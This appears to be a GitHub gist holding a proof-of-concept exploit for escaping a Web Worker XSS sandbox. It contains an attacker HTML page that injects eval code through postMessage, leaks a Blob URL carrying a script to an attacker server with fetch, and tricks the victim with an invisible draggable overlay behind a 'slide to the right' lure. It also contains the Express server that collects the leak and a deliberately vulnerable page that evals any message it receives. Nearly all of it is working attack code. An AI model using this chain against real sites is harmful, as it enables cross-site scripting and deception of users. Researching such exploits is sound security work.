-
-
Save JorianWoltjer/e81e7b1a3e892a3dcd250934a38f1174 to your computer and use it in GitHub Desktop.
Web Worker XSS sandbox escape PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <body style="height: 100%; margin: 0; display: flex; align-items: center; flex-direction: column; justify-content: center"> | |
| <iframe id="frame" src="http://127.0.0.1:8000/vuln.html" style="display: none"></iframe> | |
| <h1>Slide to the right</h1> | |
| <input type="range" id="slider" min="0" max="100" value="0" step="1"> | |
| <!-- Invisible image covering entire page (draggable) --> | |
| <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR4nGNgYAAAAAMAAWgmWQ0AAAAASUVORK5CYII=" | |
| style="position: fixed; top: 0; left: 0px; width: 100vw; height: 100vh"> | |
| </body> | |
| <script> | |
| // 1. XSS the target in iframe to leak a Blob URL filled with XSS | |
| frame.onload = () => { | |
| frame.contentWindow.postMessage({ | |
| eval: ` | |
| const blob = new Blob(['<script>alert(origin)<\/script>'], {type: "text/html"}); | |
| const url = URL.createObjectURL(blob); | |
| fetch("${location.origin}/leak?" + new URLSearchParams({ url })); | |
| `}, "*"); | |
| }; | |
| // 2. Receive Blob URL leak | |
| let url; | |
| fetch("/blob").then((r) => r.text()).then((t) => url = t); | |
| // 3. When dragging, open popup with same visual content and set Blob URL as drag data | |
| // The second it is dropped, the URL will be opened in a new tab and execute the XSS | |
| const thisBlob = new Blob([document.documentElement.innerHTML], { type: "text/html" }); | |
| const thisUrl = URL.createObjectURL(thisBlob); | |
| ondragstart = (e) => { | |
| window.open(thisUrl, "", "width=9999,height=9999,left=0,top=0"); | |
| e.dataTransfer.clearData(); | |
| e.dataTransfer.setData("text/uri-list", url); | |
| } | |
| </script> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const express = require("express"); | |
| const app = express(); | |
| const PORT = 3000; | |
| let resolveLeak; | |
| app.get("/", (req, res) => { | |
| return res.sendFile(__dirname + "/exploit.html"); | |
| }); | |
| app.get("/leak", (req, res) => { | |
| const leak = req.query.url; | |
| console.log("Leak:", leak); | |
| if (resolveLeak) { | |
| resolveLeak(leak); | |
| } | |
| res.send("Data received"); | |
| }); | |
| app.get("/blob", async (req, res) => { | |
| return res.send(await new Promise((r) => resolveLeak = r)); | |
| }); | |
| app.listen(PORT, () => { | |
| console.log(`Server is running on http://localhost:${PORT}`); | |
| }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script> | |
| // XSS inside a worker | |
| const blob = new Blob([`onmessage = (e) => { | |
| const { data } = e; | |
| if (data.eval) { | |
| eval(data.eval); | |
| } | |
| } | |
| `], { type: "application/javascript" }); | |
| const worker = new Worker(URL.createObjectURL(blob)); | |
| onmessage = (e) => { | |
| const { data } = e; | |
| if (data.eval) { | |
| worker.postMessage(data); | |
| } | |
| }; | |
| </script> |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
To run:
Then visit http://localhost:3000 and drag anywhere